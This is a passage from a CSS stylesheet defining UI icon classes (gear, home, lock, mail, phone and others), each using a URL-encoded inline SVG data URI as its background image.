url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M7%2C2C3%2C2%2C0%2C7%2C0%2C7s3%2C5%2C7%2C5s7-5%2C7-5S11%2C2%2C7%2C2z%20M7%2C10c-1.657%2C0-3-1.344-3-3c0-1.657%2C1.343-3%2C3-3%20s3%2C1.343%2C3%2C3C10%2C8.656%2C8.657%2C10%2C7%2C10z%20M7%2C6C6.448%2C6%2C6%2C6.447%2C6%2C7c0%2C0.553%2C0.448%2C1%2C1%2C1s1-0.447%2C1-1C8%2C6.447%2C7.552%2C6%2C7%2C6z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-forbidden:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20fill%3D%22%23FFF%22%20d%3D%22M12.601%2C11.187C13.476%2C10.018%2C14%2C8.572%2C14%2C7c0-3.866-3.134-7-7-7C5.428%2C0%2C3.982%2C0.524%2C2.813%2C1.399L2.757%2C1.343L2.053%2C2.048%20L2.048%2C2.053L1.343%2C2.758l0.056%2C0.056C0.524%2C3.982%2C0%2C5.428%2C0%2C7c0%2C3.866%2C3.134%2C7%2C7%2C7c1.572%2C0%2C3.018-0.524%2C4.187-1.399l0.056%2C0.057%20l0.705-0.705l0.005-0.005l0.705-0.705L12.601%2C11.187z%20M7%2C2c2.761%2C0%2C5%2C2.238%2C5%2C5c0%2C1.019-0.308%2C1.964-0.832%2C2.754L4.246%2C2.832%20C5.036%2C2.308%2C5.981%2C2%2C7%2C2z%20M7%2C12c-2.761%2C0-5-2.238-5-5c0-1.019%2C0.308-1.964%2C0.832-2.754l6.922%2C6.922C8.964%2C11.692%2C8.019%2C12%2C7%2C12z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-forward:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M13%2C4L9%2C0v3C6%2C3%2C1%2C4%2C1%2C8c0%2C5%2C7%2C6%2C7%2C6v-2c0%2C0-5-1-5-4s6-3%2C6-3v3L13%2C4z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-gear:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20fill%3D%22%23FFF%22%20d%3D%22M13.621%2C5.904l-1.036-0.259c-0.168-0.042-0.303-0.168-0.355-0.332c-0.092-0.284-0.205-0.559-0.339-0.82%20c-0.079-0.153-0.073-0.337%2C0.017-0.486l0.549-0.915c0.118-0.196%2C0.088-0.448-0.075-0.61l-0.862-0.863%20c-0.162-0.163-0.414-0.193-0.611-0.075l-0.916%2C0.55C9.844%2C2.182%2C9.659%2C2.188%2C9.506%2C2.109C9.244%2C1.975%2C8.97%2C1.861%2C8.686%2C1.77%20c-0.165-0.052-0.29-0.187-0.332-0.354L8.095%2C0.379C8.039%2C0.156%2C7.839%2C0%2C7.609%2C0H6.391c-0.229%2C0-0.43%2C0.156-0.485%2C0.379L5.646%2C1.415%20C5.604%2C1.582%2C5.479%2C1.718%2C5.313%2C1.77c-0.284%2C0.092-0.559%2C0.206-0.82%2C0.34C4.339%2C2.188%2C4.155%2C2.182%2C4.007%2C2.093L3.092%2C1.544%20c-0.196-0.118-0.448-0.087-0.61%2C0.075L1.619%2C2.481C1.457%2C2.644%2C1.426%2C2.896%2C1.544%2C3.093l0.549%2C0.914%20c0.089%2C0.148%2C0.095%2C0.332%2C0.017%2C0.486C1.975%2C4.755%2C1.861%2C5.029%2C1.77%2C5.314c-0.053%2C0.164-0.188%2C0.29-0.354%2C0.332L0.379%2C5.905%20C0.156%2C5.961%2C0%2C6.161%2C0%2C6.391v1.219c0%2C0.229%2C0.156%2C0.43%2C0.379%2C0.485l1.036%2C0.26C1.582%2C8.396%2C1.717%2C8.521%2C1.77%2C8.687%20c0.092%2C0.284%2C0.205%2C0.559%2C0.34%2C0.82C2.188%2C9.66%2C2.182%2C9.844%2C2.093%2C9.993l-0.549%2C0.915c-0.118%2C0.195-0.087%2C0.448%2C0.075%2C0.61%20l0.862%2C0.862c0.162%2C0.163%2C0.414%2C0.193%2C0.61%2C0.075l0.915-0.549c0.148-0.089%2C0.332-0.095%2C0.486-0.017%20c0.262%2C0.135%2C0.536%2C0.248%2C0.82%2C0.34c0.165%2C0.053%2C0.291%2C0.187%2C0.332%2C0.354l0.259%2C1.036C5.96%2C13.844%2C6.16%2C14%2C6.39%2C14h1.22%20c0.229%2C0%2C0.43-0.156%2C0.485-0.379l0.259-1.036c0.042-0.167%2C0.168-0.302%2C0.333-0.354c0.284-0.092%2C0.559-0.205%2C0.82-0.34%20c0.154-0.078%2C0.338-0.072%2C0.486%2C0.017l0.914%2C0.549c0.197%2C0.118%2C0.449%2C0.088%2C0.611-0.074l0.862-0.863%20c0.163-0.162%2C0.193-0.415%2C0.075-0.611l-0.549-0.915c-0.089-0.148-0.096-0.332-0.017-0.485c0.134-0.263%2C0.248-0.536%2C0.339-0.82%20c0.053-0.165%2C0.188-0.291%2C0.355-0.333l1.036-0.259C13.844%2C8.039%2C14%2C7.839%2C14%2C7.609V6.39C14%2C6.16%2C13.844%2C5.96%2C13.621%2C5.904z%20M7%2C10%20c-1.657%2C0-3-1.343-3-3s1.343-3%2C3-3s3%2C1.343%2C3%2C3S8.657%2C10%2C7%2C10z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-grid:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20fill%3D%22%23FFF%22%20d%3D%22M3%2C0H1C0.447%2C0%2C0%2C0.447%2C0%2C1v2c0%2C0.553%2C0.447%2C1%2C1%2C1h2c0.553%2C0%2C1-0.447%2C1-1V1C4%2C0.447%2C3.553%2C0%2C3%2C0z%20M8%2C0H6%20C5.447%2C0%2C5%2C0.447%2C5%2C1v2c0%2C0.553%2C0.447%2C1%2C1%2C1h2c0.553%2C0%2C1-0.447%2C1-1V1C9%2C0.447%2C8.553%2C0%2C8%2C0z%20M13%2C0h-2c-0.553%2C0-1%2C0.447-1%2C1v2%20c0%2C0.553%2C0.447%2C1%2C1%2C1h2c0.553%2C0%2C1-0.447%2C1-1V1C14%2C0.447%2C13.553%2C0%2C13%2C0z%20M3%2C5H1C0.447%2C5%2C0%2C5.447%2C0%2C6v2c0%2C0.553%2C0.447%2C1%2C1%2C1h2%20c0.553%2C0%2C1-0.447%2C1-1V6C4%2C5.447%2C3.553%2C5%2C3%2C5z%20M8%2C5H6C5.447%2C5%2C5%2C5.447%2C5%2C6v2c0%2C0.553%2C0.447%2C1%2C1%2C1h2c0.553%2C0%2C1-0.447%2C1-1V6%20C9%2C5.447%2C8.553%2C5%2C8%2C5z%20M13%2C5h-2c-0.553%2C0-1%2C0.447-1%2C1v2c0%2C0.553%2C0.447%2C1%2C1%2C1h2c0.553%2C0%2C1-0.447%2C1-1V6C14%2C5.447%2C13.553%2C5%2C13%2C5z%20M3%2C10%20H1c-0.553%2C0-1%2C0.447-1%2C1v2c0%2C0.553%2C0.447%2C1%2C1%2C1h2c0.553%2C0%2C1-0.447%2C1-1v-2C4%2C10.447%2C3.553%2C10%2C3%2C10z%20M8%2C10H6c-0.553%2C0-1%2C0.447-1%2C1v2%20c0%2C0.553%2C0.447%2C1%2C1%2C1h2c0.553%2C0%2C1-0.447%2C1-1v-2C9%2C10.447%2C8.553%2C10%2C8%2C10z%20M13%2C10h-2c-0.553%2C0-1%2C0.447-1%2C1v2c0%2C0.553%2C0.447%2C1%2C1%2C1h2%20c0.553%2C0%2C1-0.447%2C1-1v-2C14%2C10.447%2C13.553%2C10%2C13%2C10z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-heart:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M7%2C1.872c-2-3-7-2-7%2C2c0%2C3%2C4%2C7%2C4%2C7s2.417%2C2.479%2C3%2C3c0.583-0.521%2C3-3%2C3-3s4-4%2C4-7%20C14-0.128%2C9-1.128%2C7%2C1.872z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-home:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20fill%3D%22%23FFF%22%20points%3D%227%2C0%200%2C7%202%2C7%202%2C14%205%2C14%205%2C9%209%2C9%209%2C14%2012%2C14%2012%2C7%2014%2C7%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-info:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20fill%3D%22%23FFF%22%20d%3D%22M7%2C0C3.134%2C0%2C0%2C3.134%2C0%2C7s3.134%2C7%2C7%2C7s7-3.134%2C7-7S10.866%2C0%2C7%2C0z%20M7%2C2c0.552%2C0%2C1%2C0.447%2C1%2C1S7.552%2C4%2C7%2C4S6%2C3.553%2C6%2C3%20S6.448%2C2%2C7%2C2z%20M9%2C11H5v-1h1V6H5V5h3v5h1V11z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-location:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M7%2C0C4.791%2C0%2C3%2C1.791%2C3%2C4c0%2C2%2C4%2C10%2C4%2C10s4-8%2C4-10C11%2C1.791%2C9.209%2C0%2C7%2C0z%20M7%2C6C5.896%2C6%2C5%2C5.104%2C5%2C4%20s0.896-2%2C2-2c1.104%2C0%2C2%2C0.896%2C2%2C2S8.104%2C6%2C7%2C6z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-lock:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M12%2C6V5c0-2.762-2.238-5-5-5C4.239%2C0%2C2%2C2.238%2C2%2C5v1H1v8h12V6H12z%20M7.5%2C9.848V12h-1V9.848%20C6.207%2C9.673%2C6%2C9.366%2C6%2C9c0-0.553%2C0.448-1%2C1-1s1%2C0.447%2C1%2C1C8%2C9.366%2C7.793%2C9.673%2C7.5%2C9.848z%20M10%2C6H4V5c0-1.657%2C1.343-3%2C3-3%20s3%2C1.343%2C3%2C3V6z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-mail:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M0%2C3.75V12h14V3.75L7%2C9L0%2C3.75z%20M14%2C2H0l7%2C5L14%2C2z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-minus:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Crect%20y%3D%225%22%20style%3D%22fill%3A%23FFFFFF%3B%22%20width%3D%2214%22%20height%3D%224%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-navigation:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20style%3D%22fill%3A%23FFFFFF%3B%22%20points%3D%2213%2C1%200%2C6%207%2C7%208%2C14%20%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-phone:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%22-0.01%200.008%2014%2014%22%20style%3D%22enable-background%3Anew%20-0.01%200.008%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M6.939%2C9.189C6.165%2C8.557%2C5.271%2C7.705%2C4.497%2C6.744C3.953%2C6.071%2C3.473%2C5.363%2C3.969%2C4.866l-3.482-3.48%20C-0.021%2C2.02-1.146%2C5.04%2C3.675%2C9.984c5.08%2C5.211%2C8.356%2C4.097%2C8.92%2C3.511l-3.396-3.4C8.725%2C10.568%2C8.113%2C10.146%2C6.939%2C9.189z%20%20M13.82%2C11.519v-0.004c0%2C0-2.648-2.646-2.649-2.647c-0.21-0.211-0.546-0.205-0.754%2C0.002L9.455%2C9.831l3.403%2C3.407%20c0%2C0%2C0.962-0.96%2C0.961-0.961l0.002-0.001C14.043%2C12.056%2C14.021%2C11.721%2C13.82%2C11.519z%20M5.192%2C3.644V3.642%20c0.222-0.222%2C0.2-0.557%2C0-0.758V2.881c0%2C0-2.726-2.725-2.727-2.726C2.255-0.055%2C1.92-0.05%2C1.712%2C0.156L0.751%2C1.121l3.479%2C3.482%20C4.231%2C4.604%2C5.192%2C3.645%2C5.192%2C3.644z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-plus:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20fill%3D%22%23FFF%22%20points%3D%2214%2C5%209%2C5%209%2C0%205%2C0%205%2C5%200%2C5%200%2C9%205%2C9%205%2C14%209%2C14%209%2C9%2014%2C9%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-power:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M11.243%2C2.408c-0.392-0.401-1.024-0.401-1.415%2C0c-0.391%2C0.401-0.391%2C1.054%2C0%2C1.455%2